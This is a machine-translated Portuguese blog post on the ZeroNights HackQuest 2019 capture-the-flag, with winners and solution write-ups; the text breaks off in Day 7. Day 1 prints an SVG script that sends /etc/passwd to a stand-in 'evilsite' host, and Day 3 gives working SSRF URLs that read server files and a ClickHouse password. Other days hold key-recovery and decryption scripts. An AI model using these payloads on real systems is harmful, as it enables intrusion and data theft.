ZeroNights Hackquest 2019. Resultados e críticas

Mais recentemente, o HackQuest anual, programado para coincidir com a conferência ZeroNights, terminou. Como nos anos anteriores, os participantes tiveram que resolver 7 tarefas diferentes - uma para o dia da busca. As atribuições, como sempre, ajudaram a preparar nossos parceiros da comunidade. Você pode descobrir como as tarefas foram resolvidas e quem se tornou o vencedor do hackquest desta vez, sob o corte.


imagem

Dia 1. MUITO SECRETO


Vencedores
1º lugar2º lugar
vladvisgotdaswag

A primeira tarefa deste ano foi preparada pela equipe de auditoria de Segurança Digital . Para resolvê-lo, os participantes tiveram que passar por três etapas: acessar o conteúdo do bate-papo interno do portal do jogo, explorar a vulnerabilidade no bot Discord e usar a configuração de direitos incorretos no cluster Kubernetes.


A decisão da tarefa do primeiro dia (vladvis)

1º passo: graphql


  • Inicialmente, chegamos a um aplicativo da Web com um jogo e classificação do cliente js.
  • Além da estática, apenas uma solicitação é feita ao back-end:
  • Você pode obter uma lista de todos os tipos e seus campos com a seguinte consulta:
    { __schema { types { name fields { name } } } } 
  • Vemos o campo de comentário, solicitamos na solicitação inicial e obtemos um link para a próxima etapa.

Segundo passo: bot Discord


  • Um bot nos encontra no servidor e cria um canal separado para nós
  • Imediatamente vemos uma dica do SSRF na gitea, mas nunca cheguei a isso = (
  • Tentamos ler o arquivo local:
     <svg width="10cm" height="3cm" viewBox="0 0 1000 300" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <script type="text/javascript"> for (var i=0; trefs[i]; i++) { var xhr = new XMLHttpRequest(); xhr.open("GET","/etc/passwd",false); xhr.send(""); var xhr2 = new XMLHttpRequest(); xhr2.open("GET", "http://evilsite/?p="+btoa(xhr.responseText),false); xhr2.send(""); } </script> </svg> 
  • Obtemos o / etc / passwd e vemos 2 usuários: worker, em cujo nome svg e gitea são renderizados
     worker:x:1000:1000::/home/worker:/bin/sh gitea:x:1001:1001::/home/gitea:/bin/sh 
  • Nesta etapa, eu segui um caminho não intencional: em .bash_history, o trabalhador tinha caminhos para a chave ssh e o endereço do servidor para o próximo estágio
     cd nano .ssh/connect_info echo > .bash_history exit cd cd .ssh/ chmod 755 id_rsa ls -al cat id_rsa exit 

    3º passo: kubernetes

  • Parece que cheguei a esse estágio primeiro. .bash_history e ps estavam vazios e, a partir disso, concluí que para cada ip é criado um ambiente isolado
  • Um token para kubernetes foi encontrado no mount
  • No começo, não estava claro onde obter o token, e comecei a escanear a grade ... e, em algum momento, comecei a andar pelos vizinhos na nuvem
  • Depois disso, foi emitida uma dica sobre quais sub-redes devem ser verificadas e o api kubernetes restante foi encontrado quase imediatamente
  • Nesse ponto, percebi que não estava sozinho no servidor e não havia desejo de cortar algo, por exemplo, mascarar o cmdline, então decidi fazê-lo mais fácil é mais doloroso e encaminha para si próprio proxy socks através do ssh
  • Usando os kubectl get pods , uma lista de contêineres foi obtida e a documentação do kubernetes sugeria que o exec poderia ser usado com a mesma sintaxe do docker
  • Depois, houve 1,5 horas de sofrimento com o proxy socks, através do qual o websocket para exec não aumentou. Acabei indo diretamente para o kubectl via ssh
  • O segundo contêiner possui um novo token e já tinha acesso ao cluster no espaço para nome vizinho zn2 (inicialmente estamos no espaço para nome zn1), a partir do qual o redis estava visível
  • Recordamos o relatório @paulaxe do Zeronights do passado e obtemos o RCE, por exemplo, usando este PoC
  • Após receber o próximo token, você pode retirar a bandeira dos segredos do kubernetes

Dia 2. MICOSOFT LUNIX


Vencedores
1º lugar2º lugar3º lugar
rasgadoSin__AV1ct0r
Também decidido: demidov_al, gotdaswag, medidrdrider, groke_is_love_groke_is_life

A tarefa do segundo dia foi preparada por membros da comunidade r0 Crew . Para resolver isso, você precisa gerar uma chave de ativação para uma imagem do Linux com um kernel modificado.


A decisão da tarefa do segundo dia (rasgada)

jD74nd8_task2.iso : arquivo jD74nd8_task2.iso , imagem ISO inicializável. A partir dos arquivos dentro da imagem, podemos assumir que é Linux: existe um kernel boot/kernel.xz , um ramdisk inicial boot/rootfs.xz e um gerenciador de inicialização boot/syslinux/ .


Estamos tentando descompactar o núcleo e o ramdisk. O Ramdisk aqui é um arquivo cpio comum compactado pelo xz. Descompacte o kernel usando o script https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux . Você também pode prestar atenção às informações do kernel:


 > file kernel.xz kernel.xz: Linux kernel x86 boot executable bzImage, version 5.0.11 (billy@micosoft.com) #1 SMP Sat Aug 25 13:37:00 CEST 2019, RO-rootFS, swap_dev 0x2, Normal VGA 

Ao longo do caminho, encontramos na imagem iso a principal tarefa do minimal/rootfs/bin/activator : tudo se resume a escrever os dados de email inseridos e a chave de ativação no dispositivo /dev/activate no formato $email|$key . No caso de uma verificação bem-sucedida da chave, a leitura de /dev/activate produzirá a linha ACTIVATED , e o ativador nesse caso iniciará o jogo 2048.


É hora de olhar para a tarefa em dinâmica. Para fazer isso, execute o emulador no KVM:


 > qemu-system-x86_64 -enable-kvm -drive format=raw,media=cdrom,readonly,file=jD74nd8_task2.iso 

O Linux inicia e inicia /bin/activator imediatamente a partir da sobreposição. Isso está escrito em /etc/inittab . Para evitar cavar no binar por um longo tempo, eu queria obter um shell e olhar pelo menos em /proc e /sys . A maneira mais fácil para mim era simplesmente fazer upload do arquivo iso para o local onde o próprio script do ativador está localizado. Em vez de sleep 1 conjunto /bin/sh , ou seja, Recebi um shell após cada tentativa de inserir um serial.


Portanto, existe um shell: parece que /proc/kallsyms ausente, ou seja, caracteres do kernel ausentes. Com eles, é claro, seria muito mais rápido, mas tudo bem. Estamos procurando informações sobre o dispositivo /dev/activator :


 / # ls -la /dev/activate crw------- 1 0 0 252, 0 Oct 15 08:57 /dev/activate / # cat /proc/devices Character devices: ... 252 activate ... Block devices: ... 

A partir das informações em /proc/devices pode ser visto que este é um dispositivo char com a versão principal 252 e o menor 0.


Está na hora de encontrar a função de registro deste dispositivo no binário do kernel para encontrar o manipulador para sua operação de write . Para fazer isso, encontre referências cruzadas à sequência de caracteres activate . Mas não existe essa linha no kernel, provavelmente está de alguma forma oculta.


Na próxima tentativa, tentamos encontrar as funções responsáveis ​​pelo registro dos dispositivos de caracteres: cdev_add e register_chrdev . Isso pode ser feito através da referência cruzada /dev/console ou qualquer outro dispositivo de caractere e usando o código-fonte do kernel (peguei a versão 5.0.11, mas não tenho certeza se a versão está correta). Tendo examinado a lista de dispositivos que estão sendo registrados, não encontramos um dispositivo com a versão principal 252. É provável que essas duas funções não sejam registradas.


Vamos tentar procurar outras pistas na dinâmica:


 / # ls -la /sys/dev/char/252:0 lrwxrwxrwx 1 0 0 0 Oct 15 09:00 /sys/dev/char/252:0 -> ../../devices/virtual/EEy????I/activate 

Aqui está o problema - a EEy????I dispositivo EEy????I Tentamos encontrar essa linha no binar e ela está lá!



Embora nenhuma referência cruzada tenha sido encontrada, mas ao lado dele há dados visíveis semelhantes às strings. Se você observar o código que os utiliza, poderá ver que esses são os manipuladores de leitura e gravação desejados do dispositivo de activate que são criptografados com o XOR simples.


Função de processamento de leitura:



A função de processar a operação de gravação, também é uma verificação de licença:



Uma inspeção rápida do código de verificação de ativação mostrou que é mais fácil colocar um ponto de interrupção no endereço 0xFFFFFFFF811F094B e pegar o código de ativação lá, sem realmente investigar o que está acontecendo lá. Para fazer isso, execute o qemu com o sinalizador -s . Nesse caso, o qemu executa o gdb stub, que permite usar qualquer cliente gdb. A maneira mais fácil e rápida de fazer isso no IDA Pro, se você tiver uma licença. Mas ninguém proíbe fazer tudo no console gdb.


Fazemos tudo conforme descrito no tutorial oficial. Agora você precisa encontrar a função de processamento dentro do kernel já em execução.




Como o kernel é construído com o suporte KASLR, os endereços do kernel em execução são alterados para um deslocamento aleatório que é gerado toda vez que o kernel é iniciado. Calculamos esse deslocamento (pegamos o endereço da sequência de bytes exclusiva no código do kernel depurado e subtraímos o endereço dessa sequência no binário) e, adicionando a função de ativação ao endereço, encontramos na memória. Tudo, agora cabe aos pequenos. Defina um ponto de interrupção e escolha o código.





A solução para esta tarefa já foi publicada no hub por um dos participantes. Você pode se familiarizar com isso aqui .


Dia 3. CASA DE MORDIDO


Vencedores
1º lugar
blackfan

Trabalho preparado por beched ( DeteAct ). Os participantes foram recebidos por uma página de pagamento normal. Para a solução, foi necessário acessar o banco de dados Clickhouse usando o recurso da função php file_get_contents .


A decisão da tarefa do terceiro dia (blackfan)

A tarefa é uma página de pagamento, onde o único parâmetro interessante foi callback_url.


https://i.imgur.com/iX65TI3.png


Indicamos seu site e atendemos à solicitação:


 http://82.202.226.176/?callback_url=http://attacker.tld/&pan=&amount=&payment_id= 

 POST / HTTP/1.0 Host: attacker.tld Connection: close Content-Length: 21 Content-Type: application/json amount=0&payment_id=0 

Uma resposta HTTP será exibida apenas se o site retornou uma sequência alfanumérica. Exemplos de respostas:


 {"result":"Success.","msg":"Response: testresponse"} {"result":"Invalid status code.","msg":"Non-alphanumeric response."} 

Tentamos como callback_url data :, testamos e entendemos que, provavelmente, esse é o PHP.


 http://82.202.226.176/?callback_url=data:,test&pan=&amount=&payment_id= 

Usamos o filtro php: // para ler arquivos locais e codificar a resposta usando convert.base64-encode, para que a resposta corresponda alfanumérica. Devido aos caracteres +, / e =, às vezes é necessário combinar várias chamadas base64 para exibir uma resposta.


 http://82.202.226.176/?pan=xxx&amount=xxx&payment_id=xxx&callback_url=php://filter/convert.base64-encode|convert.base64-encode/resource=./index.php http://82.202.226.176/?pan=xxx&amount=xxx&payment_id=xxx&callback_url=php://filter/convert.base64-encode|convert.base64-encode/resource=./includes/db.php 

 <?php error_reporting(0); /* * DB configuration */ $config = [ 'host' => 'localhost', 'port' 

A saída da resposta é limitada a 200 bytes, mas a partir dos fragmentos que aprendemos sobre a disponibilidade do banco de dados no host local. Classificamos as portas via callback_url e encontramos um novo artigo sobre injeção no ClickHouse no blog DeteAct , que corresponde ao estranho nome da tarefa "HOUSE OF BECHED".


https://i.imgur.com/OBn22wi.png


O ClickHouse possui uma interface HTTP que permite executar solicitações arbitrárias, o que é muito conveniente para usar no SSRF.


Lemos a documentação, tentamos obter uma conta na configuração.


 http://82.202.226.176/?callback_url=php://filter/convert.base64-encode|convert.base64-encode/resource=/etc/clickhouse-server/users.xml&pan=&amount=&payment_id= 

 <?xml version="1.0"?> <yandex> <!-- Profiles of settings. --> <profiles> <!-- Default settibm 

Mais uma vez, limitar a saída interfere e, a julgar pelo arquivo padrão, o campo desejado está extremamente distante.


https://i.imgur.com/5Un6gfj.png


Corte o excesso usando o filtro string.strip_tags.


 http://82.202.226.176/?callback_url=php://filter/string.strip_tags|convert.base64-encode/resource=/etc/clickhouse-server/users.xml&pan=&amount=&payment_id= 

Mas o comprimento da saída ainda não é suficiente até que a senha seja recebida. Adicione um filtro de compactação zlib.deflate.


 http://82.202.226.176/?callback_url=php://filter/string.strip_tags|zlib.deflate|convert.base64-encode|convert.base64-encode/resource=/etc/clickhouse-server/users.xml&pan=&amount=&payment_id= 

E leia localmente na ordem inversa:


 print(file_get_contents('php://filter/convert.base64-decode|convert.base64-decode|zlib.inflate/resource=data:,NCtYaTVWSUFBbVFTRnd1VFoyZ0FCN3hjK0JRU2tDNUt6RXZKejBXMms3QkxETkVsZUNueVNsSnFja1pxU2taK2FYRnFYbjVHYW1JQmZoZWo4a0RBeWtyZkFGME5QajBwcVdtSnBUa2xWRkNFNlJaTUVWSkZRU0JSd1JZNWxGRTFVY3NLYllVa0JiV2NFbXNGUTRYOElv')); 

Após receber a senha, podemos enviar solicitações ClickHouse da seguinte maneira:


 http://localhost:8123/?query=select%20'xxx'&user=default&password=bechedhousenoheap http://default:bechedhousenoheap@localhost:8123/?query=select%20'xxx' 

Mas desde que enviamos inicialmente o POST, precisamos contornar isso usando o redirecionamento. E a solicitação final acabou assim (nesta fase, eu fui muito burra, porque devido ao grande aninhamento do processamento dos parâmetros, codifiquei incorretamente caracteres especiais e não pude executar a solicitação)


 http://82.202.226.176/?callback_url=php://filter/convert.base64-encode|convert.base64-encode|convert.base64-encode/resource=http://blackfan.ru/x?r=http://localhost:8123/%253Fquery=select%252520'xxx'%2526user=default%2526password=bechedhousenoheap&pan=&amount=&payment_id= 

Bem, basta obter os dados do banco de dados:


 select name from system.tables select name from system.columns where table='flag4zn' select bechedflag from flag4zn 

 http://82.202.226.176/?callback_url=php://filter/convert.base64-encode|convert.base64-encode|convert.base64-encode/resource=http://blackfan.ru/x?r=http://localhost:8123/%253Fquery=select%252520bechedflag%252520from%252520flag4zn%2526user=default%2526password=bechedhousenoheap&pan=&amount=&payment_id= 

Dia 4. ASR-EHD


Vencedores
1º lugar
AV1ct0r

A tarefa do quarto dia foi preparada pelo Departamento de Pesquisa de Segurança Digital . A principal tarefa da tarefa foi mostrar como a escolha errada da fonte de números aleatórios pode afetar o algoritmo criptográfico. Na taskka, um gerador de chave privada aleatória auto-escrita para DH foi implementado, com base no LFSR. Ao receber um número suficiente de handshakes TLS consecutivos usando valores DH públicos, foi possível restaurar o estado inicial do LFSR e descriptografar todo o tráfego.


A decisão da tarefa do quarto dia (AV1ct0r)

Dia 4 / ASR-EHD - WriteUp by AV1ct0r


Peter é um pouco paranóico: ele sempre usa conexões criptografadas. Para ter certeza de que os algoritmos são seguros, Peter usa seu próprio cliente. Ele até nos deu um despejo de tráfego que foi feito enquanto usava seu cliente personalizado. A conexão de Peter é realmente segura?


https://hackquest.zeronights.org/downloads/task4/8Jdl3f_client.tar
https://hackquest.zeronights.org/downloads/task4/d8f3ND_dump.tar


  1. Abra o arquivo do cliente no IDA Pro e verifique se ele pode baixar parte do arquivo flag.jpg do servidor https://ssltest.a1exdandy.me:443/ . Qual parte do arquivo para baixar (a partir do qual byte) é obtida na linha de comando.


     signed __int64 __fastcall main(int argc, char **argv, char **a3) { size_t v4; // rsi __int64 v5; // ST48_8 int v6; // [rsp+10h] [rbp-450h] int v7; // [rsp+14h] [rbp-44Ch] __int64 v8; // [rsp+20h] [rbp-440h] __int64 v9; // [rsp+28h] [rbp-438h] __int64 v10; // [rsp+30h] [rbp-430h] __int64 v11; // [rsp+38h] [rbp-428h] __int64 v12; // [rsp+40h] [rbp-420h] char ptr; // [rsp+50h] [rbp-410h] unsigned __int64 v14; // [rsp+458h] [rbp-8h] v14 = __readfsqword(0x28u); if ( argc != 3 ) return 0xFFFFFFFFLL; v6 = atoi(argv[1]); v7 = atoi(argv[2]); if ( v6 < 0 || v7 < 0 || v7 <= v6 ) return 0xFFFFFFFFLL; v8 = 0LL; v9 = 0LL; v10 = 0LL; OPENSSL_init_ssl(0LL, 0LL); OPENSSL_init_crypto(2048LL, 0LL); v11 = ENGINE_get_default_DH(2048LL, 0LL); if ( v11 ) { if ( (unsigned int)ENGINE_init(v11) ) { v12 = ENGINE_get_DH(v11); if ( v12 ) { v8 = DH_meth_dup(v12); if ( v8 ) { if ( (unsigned int)DH_meth_set_generate_key(v8, dh_1) ) { if ( (unsigned int)ENGINE_set_DH(v11, v8) ) { v5 = TLSv1_2_client_method(v11, v8); v10 = SSL_CTX_new(v5); if ( (unsigned int)SSL_CTX_set_cipher_list(v10, "DHE-RSA-AES128-SHA256") ) { v9 = BIO_new_ssl_connect(v10); BIO_ctrl(v9, 100LL, 0LL, (__int64)"ssltest.a1exdandy.me:443"); if ( BIO_ctrl(v9, 101LL, 0LL, 0LL) >= 0 ) { BIO_ctrl(v9, 101LL, 0LL, 0LL); BIO_printf(v9, "GET /flag.jpg HTTP/1.1\n", argv); BIO_printf(v9, "Host: ssltest.a1exdandy.me\n"); BIO_printf(v9, "Range: bytes=%d-%d\n\n", (unsigned int)v6, (unsigned int)v7); v4 = (signed int)BIO_read(v9, &ptr, 1024LL); fwrite(&ptr, v4, 1uLL, stdout); } else { v4 = 1LL; fwrite("Can't do connect\n", 1uLL, 0x11uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set cipher list\n", 1uLL, 0x16uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set DH methods\n", 1uLL, 0x15uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set generate_key method\n", 1uLL, 0x1EuLL, stderr); } } else { v4 = 1LL; fwrite("Can't dup dh meth\n", 1uLL, 0x12uLL, stderr); } } else { v4 = 1LL; fwrite("Can't get DH\n", 1uLL, 0xDuLL, stderr); } } else { v4 = 1LL; fwrite("Can't init engine\n", 1uLL, 0x12uLL, stderr); } } else { v4 = 1LL; fwrite("Can't get DH\n", 1uLL, 0xDuLL, stderr); } if ( v11 ) { ENGINE_finish(v11, v4); ENGINE_free(v11); } if ( v8 ) DH_meth_free(v8, v4); if ( v10 ) SSL_CTX_free(v10, v4); if ( v9 ) BIO_free_all(v9, v4); return 0LL; } 

    Não havia fotos com a bandeira no servidor, mas o dump.pcap acabou tendo um monte de tráfego SSL, presumivelmente com partes da foto. Após uma verificação rápida do servidor para detectar heartbleed (para roubar uma chave privada para descriptografar o tráfego), descobriu-se que o servidor não está vulnerável. Além disso, nas sessões SSL, de acordo com o dump de tráfego e o cliente, é usada a cifra DHE-RSA-AES128-SHA256, na qual o RSA é usado apenas para assinatura, e as chaves são trocadas de acordo com o esquema Diffie-Hellman (uma chave de servidor RSA privada nesse modo não nos ajudará )


  2. Tendo um pouco de podirbastiv, o servidor encontrou o arquivo https://ssltest.a1exdandy.me/x , que é um malware simples, o endereço do administrador costurado nele é 0x82C780B2697A0002 (0x82C780B2: 0x7a69 = 178.128.199.130 opin1337). Quando conectado à porta 31337, descobriu-se que o servidor suporta 3 comandos, alguns dos quais solicitam argumentos adicionais


     nc 178.128.199.130 31337 Yet another fucking heap task... Command: 1-3 1 - Index: - Size: 2 - Index: 3 - Index: - Length: 

    Mas nada poderia ser feito mais com essa porta, e provavelmente era uma tarefa que distraía.


  3. Depois de olhar atentamente para o cliente, vi que ele usa um gerador de segredos Diffie-Hellman personalizado:


     int __fastcall rnd_work(__int64 a1) { __int64 v1; // rsi unsigned int i; // [rsp+10h] [rbp-10h] rnd_read(); BN_bin2bn(&RANDOM_512, 512LL, a1); BN_lshift1(a1, a1); v1 = (unsigned int)BITS_ind[0]; // BITS_ind dd 4096, 4095, 4081, 4069, 0 if ( (unsigned int)BN_is_bit_set(a1, (unsigned int)BITS_ind[0]) ) { for ( i = 0; i <= 4; ++i ) { if ( (unsigned int)BN_is_bit_set(a1, (unsigned int)BITS_ind[i]) ) { v1 = (unsigned int)BITS_ind[i]; BN_clear_bit(a1, v1); } else { v1 = (unsigned int)BITS_ind[i]; BN_set_bit(a1, v1); } } } if ( (unsigned int)((signed int)((unsigned __int64)BN_num_bits(a1) + 7) / 8) > 0x200 ) { printf("Err!", v1); exit(0); } BN_bn2binpad(a1, &RANDOM_512, 512LL); return rnd_write(); } 

    Inicialmente, o segredo (512 bytes) é lido em / dev / urandom e salvo no arquivo de estado. A cada solicitação subsequente, a seguinte mágica acontece com um segredo:


     XOR = 2**4096 + 2**4095 + 2**4081 + 2**4069 + 1 CMP = 2**4096 state *= 2 if state > CMP: state ^= XOR 

    O segredo como um número longo é deslocado 1 bit para a esquerda e, se o bit mais significativo for 1, o número está na constante de 5 bits diferentes de zero (XOR).



Olhando pcap, vi que os parâmetros Diffie-Hellman que chegam do servidor são constantes:


 dh_g = 2 dh_p = 

E cada vez que uma conexão é estabelecida, o cliente envia sua parte pública do segredo de Diffie-Hellman. Ao comparar as partes públicas dos segredos das sessões vizinhas, você pode restaurar o segredo inicial do cliente e todos os segredos subsequentes de cada sessão:
Se o bit mais alto do segredo for 0, na próxima sessão o segredo será simplesmente duas vezes maior e a parte pública será ao quadrado módulo p. Assim, foi possível restaurar o segredo inicial (o que foi lido em / dev / urandom) modulo p:


212030266574081313400816495535550771039880390539286135828101869037345869420205997453325815053364595553160004790759435995827592517178474188665111332189420650868610567156950459495593726196692754969821860322110444674367830706684288723400924718718744572072716445007789955072532338996543460287499773137785071615174311774659549109541904654568673143709587184128220277471318155757799759470829597214195494764332668485009525031739326801550115807698375007112649770412032760122054527000645191827995252649714951346955180619834783531787411998600610075175494746953236628125613177997145650859163985984159468674854699901927080143977813208682753148280937687469933353788992176066206254339449062166596095349440088429291135673308334245804375230115095159172312975679432750163246936266603077314220813042048063033927345613565227184333091534551071824033535159483541175958867122974738255966511008607723675431569961127852005437047813822454112416864211120323016008267853722731311026233323235121922969702016337164336853826598082855592007126727352041124911221048498141841625765390204460725231581416991152769176243658310857769293168120450725070030636638954553866903537931113666283836250525318798622872347839391197939468295124060629961250708172499966110406527347

e é fácil calcular os segredos de todas as outras sessões.


E aqui houve problemas:
A) O Wireshark não é capaz de descriptografar o SSL, conhecendo os segredos da Diffie-Hellman, e não havia soluções prontas. Precisamos descobrir o segredo geral de Diffie-Hellman (também conhecido como sessões de pré-master key) e usá-lo para encontrar uma sessão de master master usando uma bicicleta grande (não achei que houvesse bicicletas no SSL). Em seguida, você pode criar um arquivo SSLKEYLOG no qual gravar o cliente aleatoriamente (em cada sessão SSL) e a chave mestra, especificá-lo nas configurações do WireShark para descriptografia do SSL e, teoricamente, obter lucro.


Mas surgiram mais alguns problemas:
B) PHP considerado muito lento (funções bcpowmod , bcpowmod não são usadas ...), decidi reescrevê-lo em python.
C) A fórmula para calcular a chave mestra pela chave pré-mestra em forma humana não pôde ser encontrada, ssl é muito difícil de entender, eu não consegui o openssl para exibir os resultados dos cálculos intermediários. Como resultado, usei esse código , descrição e algum tipo de RFC:


Como resultado, depois de meio dia, pude sobrepor isso (para mim, isso não poderia acontecer sem bicicletas):


 for i in xrange(0, 4264): dh_secret = pow(srv_pubkeys[i], state, dh_p) dh_secret = hex(dh_secret)[2:-1] if len(dh_secret) % 2 : dh_secret = "0"+dh_secret while dh_secret[0:2] == "00": dh_secret = dh_secret[2:] dh_secret = dh_secret.decode("hex") seed = "master secret"+(cl_random[i].strip() + srv_random[i].strip()).decode("hex") A = seed master_key = "" for j in xrange(0, 2): A = hmac.new(dh_secret, A, hashlib.sha256).digest() master_key += hmac.new(dh_secret, A+seed, hashlib.sha256).digest() master_key = master_key[0:48].encode("hex") print "CLIENT_RANDOM " + cl_random[i].strip() + " " + master_key state *= 2 if state > CMP: state ^= XOR 

D) Para extrair vários clientes aleatórios, ... das sessões do Wireshark, a exportação para csv foi usada e pesquisou no tráfego bruto o que entrou no csv como "...".


E) Para descriptografar 4264 sessões, o WireShark decidiu consumir muitos gigabytes de operativo (8 não era suficiente para ele), mas nada, você pode executar tudo em um computador poderoso, e não em um laptop fraco. No entanto, ao exportar objetos http (partes descriptografadas de uma imagem), o WireShark pode salvar apenas os primeiros 1000 arquivos e a numeração termina. Como resultado, tive que dividir o pcap em 5 partes de 1000 sessões tcp em cada uma. O resultado foi uma imagem tão bonita depois de colar todas as peças:



Todos os arquivos usados ​​pelo vencedor para resolver a tarefa podem ser encontrados aqui .


Dia 5. CASCA PROTEGIDA


Vencedores
1º lugar2º lugar3º lugar
vosBartimeuClo
Também decidido: Maxim Pronin, 0x3c3e, tinkerlock, demidov_al, x @ secator, groke_in_the_sky, d3fl4t3

Tarefa preparada pelo RuCTFE . Os participantes receberam um arquivo executável ofuscado com várias técnicas anti-depuração. O arquivo executável é como um cliente SSH conectado a um servidor conhecido anteriormente. A tarefa é entender o algoritmo desse arquivo para obter a execução de comandos no servidor. A solução do autor envolvia contornar a anti-depuração e analisar a ofuscação.


Vale ressaltar que o participante mais rápido resolveu a tarefa de uma maneira original diferente da planejada pelo autor e, depois disso, encontrou outra solução alternativa. Você pode ver como ele fez isso no spoiler abaixo.


Opções de solução de tarefas do quinto dia (vos)


Dia 6. DESBLOQUEAR


Vencedores
1º lugar2º lugar3º lugar
gotdaswagmedidrdridersysenter

A tarefa do sexto dia foi preparada pela equipe do VolgaCTF . Dado um arquivo executável que implementa um algoritmo criptográfico personalizado. A tarefa é descriptografar o arquivo fornecido na condição, criptografado usando esse algoritmo, sem ter uma chave conhecida.


Solução de tarefa do sexto dia (gotdaswag)

INTRODUÇÃO


Dado um arquivo com dois arquivos, locker e secret.png.enc .


O primeiro arquivo é um ELF para Linux x86-64, que recebe um arquivo e uma chave de criptografia como entrada, e o segundo é uma imagem PNG criptografada.


 # ./locker Required option 'input' missing Usage: ./locker [options] Options: -i, --input in.png Input file path -o, --output out.png.enc Output file path -k, --key 0004081516234200 Encryption key in hex -h, --help Print this help menu 

LOCKER


Após analisar o arquivo no IDA, encontramos o algoritmo de criptografia na função project :: main .



Tendo estudado, entendemos que se trata de uma cifra de bloco (ECB), com tamanho de bloco de 32 bits , tamanho de chave de 64 bits e número de rodadas de 77 .


Versão Python

 def encrypt(p, k, rounds=77): for i in range(0, rounds): n = (p >> 4) & 1 n |= (p >> 26) & 0xE0 n |= (p >> 22) & 0x10 n |= (p >> 13) & 8 n |= (p >> 7) & 4 n |= (p >> 4) & 2 x = p ^ k x ^= p >> 12 x ^= p >> 20 x &= 1 y = 1 << n y &= 0xBB880F0FC30F0000 y >>= n y &= 1 if x == y: p &= 0xFFFFFFFE else: p |= 1 k = ror(k, 1, 64) p = ror(p, 1, 32) return p 

CHAVE SECRETA


Sabemos que o arquivo criptografado é uma imagem PNG .
Conseqüentemente, conhecemos alguns textos cifrados em forma de cabeçalho de arquivo (é padrão para PNG).


Vamos tentar da maneira simples e usar o solucionador SMT ( Z3 ) para encontrar a chave de criptografia.
Para fazer isso, modifique levemente o código e envie à entrada um par de texto simples-cifrado.


task6_key.py

 import sys import struct from z3 import * # PNG file signature (8 bytes) + IHDR chunk header (8 bytes) PLAIN_TEXT = b'\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52' BLOCK_SIZE = 4 def encrypt(p, k, rounds=77): for i in range(0, rounds): n = LShR(p, 4) & 1 n |= LShR(p, 26) & 0xE0 n |= LShR(p, 22) & 0x10 n |= LShR(p, 13) & 8 n |= LShR(p, 7) & 4 n |= LShR(p, 4) & 2 x = k ^ ZeroExt(32, p) x ^= LShR(ZeroExt(32, p), 12) x ^= LShR(ZeroExt(32, p), 20) x &= 1 y = 1 << ZeroExt(32, n) y &= 0xBB880F0FC30F0000 y = LShR(y, ZeroExt(32, n)) y &= 1 p = If(x == y, p & 0xFFFFFFFE, p | 1) p = RotateRight(p, 1) k = RotateRight(k, 1) return p def qword_le_to_be(v): pv = struct.pack('<Q', v) uv = struct.unpack('>Q', pv) return uv[0] if len(sys.argv) < 2: sys.exit('no input file specified') with open(sys.argv[1], 'rb') as encrypted_file: k = BitVec('k', 64) key = k solver = Solver() for i in range(0, len(PLAIN_TEXT), BLOCK_SIZE): # prepare plain text and cipher text pairs pt = struct.unpack('<L', PLAIN_TEXT[i:i + BLOCK_SIZE])[0] ct = struct.unpack('<L', encrypted_file.read(BLOCK_SIZE))[0] p = BitVecVal(pt, 32) e = BitVecVal(ct, 32) solver.add(encrypt(p, k) == e) print('solving ...') if solver.check() == sat: encryption_key = solver.model()[key].as_long() print('key: %016X' % qword_le_to_be(encryption_key)) 

Solução:


 > python task6_key.py "secret.png.enc" solving ... key: AE34C511A8238BCC 

UNLOCKER


.
.


task6_unlocker.py

 import sys import time import struct import binascii BLOCK_SIZE = 4 ror = lambda val, r_bits, max_bits: \ ((val & (2**max_bits-1)) >> r_bits%max_bits) | \ (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1)) rol = lambda val, r_bits, max_bits: \ (val << r_bits%max_bits) & (2**max_bits-1) | \ ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits))) def decrypt(e, k, rounds=77): dk = ror(k, 13, 64) for i in range(0, rounds): dk = rol(dk, 1, 64) e = rol(e, 1, 32) n = (e >> 4) & 1 n |= (e >> 26) & 0xE0 n |= (e >> 22) & 0x10 n |= (e >> 13) & 8 n |= (e >> 7) & 4 n |= (e >> 4) & 2 x = e ^ dk x ^= e >> 12 x ^= e >> 20 x &= 1 y = 1 << n y &= 0xBB880F0FC30F0000 y >>= n y &= 1 if x == y: e &= 0xFFFFFFFE else: e |= 1 return e if len(sys.argv) < 2: sys.exit('no input file specified') elif len(sys.argv) < 3: sys.exit('no output file specified') elif len(sys.argv) < 4: sys.exit('no encryption key specified') try: key = binascii.unhexlify(sys.argv[3]) key = struct.unpack('<Q', key)[0] except: sys.exit('non-hexadecimal encryption key') print('unlocking ...') start_time = time.time() with open(sys.argv[1], 'rb') as ef: with open(sys.argv[2], 'wb') as df: while True: ct = ef.read(BLOCK_SIZE) if not ct: break ct = struct.unpack('<L', ct)[0] pt = decrypt(ct, key) pt = struct.pack('<L', pt) df.write(pt) print('done, took %.3f seconds.' % (time.time() - start_time)) 

, .


 > python task6_unlocker.py "secret.png.enc" "secret.png" "AE34C511A8238BCC" unlocking ... done, took 49.669 seconds. 

secret.png


ZN{RA$T0GR@PHY_H3RTS}

Day 7. Beep Beep!


1
sysenter

SchoolCTF . , , . , , .


(sysenter)

Something that looks like VirtualBox RAM dump is provided to us.


We can try volatility, but it seems that it unable to locate required structures to restore Virtual Memory layout.



No process memory for us today, so we will have to work with fragmented memory.


First of all let's precache strings from the dump.


 strings > strings_ascii.txt strings -el > strings_wide.txt 

Most interesting one is command execution log:


